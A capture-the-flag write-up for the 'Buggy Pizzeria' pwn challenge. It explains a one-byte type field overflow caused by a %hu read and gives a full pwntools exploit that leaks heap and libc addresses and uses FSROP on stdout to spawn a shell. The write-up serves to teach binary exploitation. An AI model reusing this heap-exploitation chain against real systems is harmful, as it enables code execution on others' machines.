snakeCTF logo

Buggy Pizzeria

PWN

Description

It looks like I've received the wrong pizza, everything looks so confusingly wrong and messy. Can you figure it out for me, please?

Oh yeah, no pineapple btw!

Analysis

Checksec

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

The binary has all the common mitigations enabled.

Reversing

The binary is a simple pizzeria simulator which allows you to order custom pizzas. Up to three pizzas are stored as pointers in a pizza_order array allocated in the .bss section and are represented as follows:

struct pizza_t {
    float price;
    uint16_t order_num;
    uint8_t baked;
    uint8_t type;

    uint16_t name_size;
    uint8_t pad[6];
    char *name;

    uint16_t desc_size;
    uint8_t pad2[6];
    char *desc;
}

The first option allows you to create a new pizza by specifying the order number, the name on the order, the pizza type and the description. Both the order name and the description can be up to 255 characters long, while the type can be between 0 and 2.

Both the second and the third option allow you to free your pizza and the associated name and desc buffers.

The fourth option allows you to modify both the name and the desc buffers of a pizza once. Doing so will set the baked flag, which denies further modifications.

The fifth option allows you to print the name and the desc buffers of a pizza.

Finally, the sixth option lets you exit the program if you have no pizzas allocated.

Vunerabilities

The read_num function is used by the binary to get numbers from the user. The function is defined as follows:

void read_num(void *val) {
  char buffer[16];

  if (fgets(buffer, 16, stdin) == NULL)
    err(...);
  if (sscanf(buffer, "%hu", val) != 1)
    err(...);
}

The %hu format specifier is used, which means that values will be treaded as unsigned shorts (2 bytes). This is fine since most of the times the function is used on short or int variables, however it is also used for the type field, which is only one byte long. This means that the most significant byte read will overflow into the adjacent field, which is name_size. This leads to a heap buffer overflow on the name buffer.

Exploitation

The provided libc is 2.35, thus tcache is available and will be used to store all the chunks freed by the binary (since their size is never greater than 0x100). We also can't have more than seven chunks of the same size at the same time.

Leaking heap base

Allocating two pizzas will give the following layout:

+----------------------+
| pizza_order[0]       |
+----------------------+
| pizza_order[0]->name |
+----------------------+
| pizza_order[0]->desc |
+----------------------+
| pizza_order[1]       |
+----------------------+
| pizza_order[1]->name |
+----------------------+
| pizza_order[1]->desc |
+----------------------+

Using the overflow we can modify some fields in the pizza_order[1] struct in order to leak a heap address. If we have a chunk at an address ending with 00 this becomes trivial as we can just make the last byte of pizza_order[1]->name zero and free the chuck. Now we can just call the Show orders option and read the chunk's fd pointer, which will be heap_addr >> 12 if no other chunk is present in that tcache bin.

Leaking libc base

Knowing the heap base, we can try something similar to leak libc. The idea is to fake a big chunk (~ 0x400 size) and free it to get it in an unsorted bin. We can do this by allocating two pizzas using 0xff size for both name and description. Now if we trigger the overflow again we can replace one of the chunk's sizes with a big one and let the program free it. As always, we can get the address as the name field of a pizza and use Show orders to leak the contents. The freed chunk will end up in the unsorted bin and its fd will point to a libc address.

Shell

Now, following the same ideas, we can overwrite one of the buffers to point to _IO_2_1_stdout_ and use the angry FSROP technique in order to pop an easy shell.

Leaking the stack through libc variables and ropping is also a possibility.

Final Exploit

#!/usr/bin/env python3

from pwn import *

HOST = args.HOST if args.HOST else "localhost"
PORT = args.PORT if args.PORT else 1337

exe = ELF("./pizzeria")
libc = ELF("./libc.so.6")

context.binary = exe

gdbscript = """
"""


def conn():
    if args.LOCAL:
        r = process([exe.path])
    elif args.GDB:
        r = gdb.debug([exe.path], gdbscript=gdbscript)
    else:
        r = remote(HOST, PORT)

    return r


def add_pizza(
    idx: int, name_len: int, name: bytes, type: int, desc_len: int, desc: bytes
):
    r.sendlineafter(b" > ", b"1")
    r.sendlineafter(b"number? ", str(idx).encode())
    r.sendlineafter(b"name? ", str(name_len).encode())
    r.sendafter(b"Name please: ", name)
    r.sendlineafter(b" > ", str(type).encode())
    r.sendlineafter(b"the description? ", str(desc_len).encode())
    r.sendafter(b"on the pizza: ", desc)
    r.recvuntil(b"going to be baked and ready soon!\n")


def free_pizza(idx: int):
    r.sendlineafter(b" > ", b"2")
    r.sendlineafter(b"number? ", str(idx).encode())


def modify_pizza(idx: int, name: bytes, desc: bytes, hax=False):
    r.sendlineafter(b" > ", b"4")
    r.sendlineafter(b"number? ", str(idx).encode())
    r.sendafter(b"Who's the order for now? ", name)
    if not hax:
        r.sendafter(b"on the pizza? ", desc)
        r.recvuntil(b"It's now going into the oven!\n")


def get_leak(idx: int = 0) -> bytes:
    r.sendlineafter(b" > ", b"5")
    for _ in range(idx + 1):
        r.recvuntil(b"Order name: ")
    leak = r.recvuntil(b"Description: ", drop=True).strip()
    r.recvline()
    return leak


def fsrop():
    fs = FileStructure()
    fs.flags = 0x3B01010101010101
    fs._IO_read_ptr = u64(b"/bin/sh\x00")
    fs._wide_data = libc.sym["_IO_2_1_stdout_"] + 0x10
    fs._lock = libc.sym["_IO_stdfile_1_lock"]
    fs.vtable = libc.sym["_IO_wstr_jumps"] + 160

    return (
        bytes(fs)
        + p64(libc.sym["system"])
        + p64(0)
        + p64(libc.sym["_IO_2_1_stdout_"] + 0x78)
    )


def main():
    global r
    r = conn()

    modify_payload = (
        b"A" * 40  # name
        + p64(0x21)  # desc size
        + b"B" * 24  # desc
        + p64(0x31)  # pizza chk size
        + p32(0)  # price
        + p16(1)  # id
        + p8(0)  # is_ready
        + p8(0x2)  # type
        + p64(0xFF)  # name_len
    )

    log.info("leaking heap base...")

    add_pizza(
        0, 0x20, b"A" * 0x1F, (len(modify_payload) + 1) << 8 | 0x02, 0x10, b"B" * 0xF
    )
    add_pizza(1, 0x10, b"C" * 0xF, 0xFF << 8 | 0x02, 0x10, b"D" * 0xF)

    modify_pizza(
        0, modify_payload, b"B" * 0xF
    )  # Overwrite last byte of name_buf to point to a freed chunk to leak the heap
    free_pizza(0)  # free the chunk in question

    heap_base = u64(get_leak().ljust(8, b"\x00")) << 12
    log.warn(f"heap base @ {hex(heap_base)}")

    modify_payload = (
        b"A" * 40  # name
        + p64(0x21)  # desc size
        + b"B" * 24  # desc
        + p64(0x31)  # pizza chk size
        + p32(0)  # price
        + p16(1)  # id
        + p8(0)  # is_ready
        + p8(0x2)  # type
        + p64(0xFF)  # name_len
        + p64(heap_base + 0x350)
    )[:-1]

    log.info("faking chunk size to leak libc...")

    add_pizza(
        0, 0x20, b"A" * 0x1F, (len(modify_payload) + 1) << 8 | 0x02, 0x10, b"B" * 0xF
    )
    modify_pizza(0, modify_payload, b"B" * 0xF)  # Fix pizza 1 to free it properly
    free_pizza(0)

    add_pizza(0, 0xFF, b"A" * 0xFE, 0xFF << 8 | 0x02, 0xFF, b"B" * 0xFE)
    add_pizza(2, 0xFF, b"E" * 0xFE, 0xFF << 8 | 0x02, 0xFF, b"F" * 0xFE)

    # fake size = 0x440

    free_pizza(1)

    modify_payload = (
        b"C" * 24
        + p64(0x21)  # name
        + p64((heap_base >> 12) ^ (heap_base + 0x300))  # free chunk size
        + p64(0)  # right fd ptr to avoid breaking the tcache
        + p64(0)  # key technically but we don't care
        + p64(0x441)  # pad (prev_size)  # corrupted size
    )[:-1]

    add_pizza(
        1, 0x10, b"C" * 0xF, (len(modify_payload) + 1) << 8 | 0x02, 0x30, b"D" * 0x2F
    )  # Avoid consolidation of the big chunks
    modify_pizza(
        1, modify_payload, b"D" * 0x2F
    )  # Overwrite 0x110 chunk's size to be 0x440

    log.info("freeing fake chunk...")

    free_pizza(0)  # Free corrupted chunk (0x440) and make it end into an unsorted bin
    # unsorted chunk @ heap_base + 0x390
    free_pizza(2)  # not like we care

    modify_payload = (
        b"A" * 40
        + p64(0x31)  # name
        + p32(0)  # pizza chk size
        + p16(0)  # price
        + p8(0)  # id
        + p8(0x2)  # is_ready
        + p64(0xFF)  # type
        + p64(  # name_len
            heap_base + 0x390
        )  # overwrite the name ptr to the unsorted bin to leak libc
    )[:-1]

    log.info("overwriting ptr to the unsorted chunk...")

    add_pizza(
        2, 0x20, b"E" * 0x1F, (len(modify_payload) + 1) << 8 | 0x02, 0x10, b"F" * 0xF
    )  # Alloc new chunk to edit a pizza
    modify_pizza(
        2, modify_payload, b"F" * 0xF
    )  # Overwrite the name ptr to the unsorted bin to leak libc

    libc.address = u64(get_leak(1).ljust(8, b"\x00")) - (libc.sym["main_arena"] + 96)
    log.warn(f"libc leak @ {hex(libc.address)}")

    log.info("overwriting stdout to fsrop...")

    modify_payload = (
        b"A" * 24
        + p64(0x31)  # name
        + p32(0)  # pizza chk size
        + p16(0)  # price
        + p8(0)  # id
        + p8(0x2)  # is_ready
        + p64(0xFF)  # type
        + p64(libc.sym["_IO_2_1_stdout_"])  # name_len  # overwrite stdout to fsrop
    )[:-1]

    add_pizza(
        0, 0x10, b"A" * 0xF, (len(modify_payload) + 1) << 8 | 0x02, 0x10, b"B" * 0xF
    )  # Alloc new chunk to edit pizza
    modify_pizza(0, modify_payload, b"B" * 0xF)  # Overwrite stdout to fsrop

    modify_pizza(
        1, fsrop() + b"\n", b"D" * 0x2F, hax=True
    )  # Overwrite stdout vtable to fsrop

    r.clean()
    r.sendline(b"cat flag.txt")
    log.success(r.recvregex(b"snakeCTF{.*}", timeout=5).decode().strip())


if __name__ == "__main__":
    main()